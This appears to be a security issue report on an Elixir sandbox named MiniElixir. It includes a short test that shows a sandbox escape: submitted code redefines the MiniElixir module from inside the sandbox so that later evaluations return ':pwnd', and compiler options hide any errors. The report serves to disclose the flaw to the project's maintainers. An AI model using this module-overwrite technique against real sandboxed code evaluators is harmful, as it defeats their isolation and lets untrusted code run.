Arbitrary module overwrite

[hauleth]

Example below shows how one can have arbitrary module overwrite without resolving to calling disallowed functions:

  test "rewrite MiniEixir" do
    code = """
    defmodule Foo do
      defmodule :"Elixir.MiniElixir" do
        def eval(_, _, _, _), do: :pwnd
      end

      def bar(a) do
        a
      end
    end
    """

    assert {:ok, _} = MiniElixir.eval(code, Foo, :bar, [2137])
    assert :pwnd = MiniElixir.eval(code, Foo, :bar, [2137])
  end

This will also silence any error that is happening, because of compiler options being set.